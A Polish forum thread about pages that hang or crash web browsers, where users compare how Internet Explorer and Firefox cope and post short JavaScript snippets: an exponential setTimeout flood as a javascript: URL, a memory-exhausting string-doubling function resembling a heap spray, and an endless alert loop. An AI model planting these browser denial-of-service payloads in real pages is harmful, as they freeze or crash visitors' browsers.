Strona zawieszajaca przeglądarki

0

http://niebezpiecznik.pl/post/ta-strona-zawiesi-kazda-przegladarke/
Na powyższą stronę można wchodzić, na niej dopiero są linki do stron zawieszających.</quote>

0
bo napisał(a)

http://niebezpiecznik.pl/post/ta-strona-zawiesi-kazda-przegladarke/
Na powyższą stronę można wchodzić, na niej dopiero są linki do stron zawieszających.
</quote>

Też mi exploity... Internet Explorer 8:

Exploit 1: strona ładuje się około 10 sekund, wyskakuje błąd "out of memory", klikam na OK, strona robi się biała z jadącym napisem BBBBBB.... stronę można normalnie zamknąć.

Exploit 2: strona ładuje się około 5 sekund, pojawia się bardzo duża strona z masą chińskich znaczków. Działa normalnie, płynnie się przewija, normalnie daje się zamknąć.

Może wam frajerfoksy to zawiesza, bo u mnie działa. ;-]

0

Internet Explorer jak zwykle nie poddaje się standardom :D

0

Chcecie zwiechę? Na szybko pisane...

javascript:function a(){setTimeout('a()', 1);setTimeout('a()', 1);}a();
0

Demonical Monk: to jest zwiecha oczywista :) Ciężko się zaś spodziewać, że przeglądarki padną po czymś tak niewinnym:

function boom() 
 { 
 //The number of strings increases the amount of memory consumed, quicker crash where applicable. 
    var longunistring1 = unescape("%u4141%u4141"); 
    var longunistring2 = unescape("%u4242%u4242"); 
    var longunistring3 = unescape("%u4343%u4343"); 
    var longunistring4 = unescape("%u4444%u4444"); 
      
    for(i=0; i <= 60 ; ++i) //This number is very sensitive. If you go far over 60 IE won't "work" 
 { 
        longunistring1+=longunistring1; 
        longunistring2+=longunistring2; 
        longunistring3+=longunistring3; 
        longunistring4+=longunistring4; 
        document.write(longunistring1); 
        document.write(longunistring2); 
        document.write(longunistring3); 
        document.write(longunistring4); 
    }      
    document.write(longunistring1); 
    document.write(longunistring2); 
    document.write(longunistring3); 
    document.write(longunistring4); 
} 
0

"Zwiesić przeglądarkę", tj. sprawić, by nie odpowiadała jest bardzo łatwo. Dopóki jakikolwiek kod JS się wykonuje, przeglądarka jest "zawieszona". Po jakimś czasie wyświetla zwykle komunikat umożliwiający przerwanie skryptów.

Wkurzający "exploit" na Firefoxa? Zwykły alert w nieskończonej pętli. Nie da się zamknąć karty ze stroną z alertem, bo wyświetlane okienko jest modalne, więc blokuje cały interfejs. Tutaj Opera jest znacznie lepsza, bo w okienkach wyświetlanych przez JS umożliwia przerwanie skryptów.

Skrypcik, który podał @Demonical Monk, jest o tyle lepszy, że nie wykonuje bloku kodu JavaScriptu. Zamiast tego, zalewa przeglądarkę niezależnymi wywołaniami asynchronicznymi. W tempie wykładniczym. A skoro mowa o jego skrypcie...

@Demonical Monk_:
Ukryty eval? No wiesz co? ;) Nawet na szybko krócej i łatwiej olać go i napisać po prostu:

javascript:function a(){setTimeout(a, 1);setTimeout(a, 1);}a();

Przepraszam, ale jak wejdzie tu ktoś mniej doświadczony, to może to uznać za kolejną przesłankę, że setTimeout powinniśmy podawać string z kodem do wykonania. (OK, OK! Eleganckie pisanie eksploitów to już jest nawet poza puryzmem! Ale funkcyjnie jest łatwiej, prościej i czytelniej!)

1 użytkowników online, w tym zalogowanych: 0, gości: 1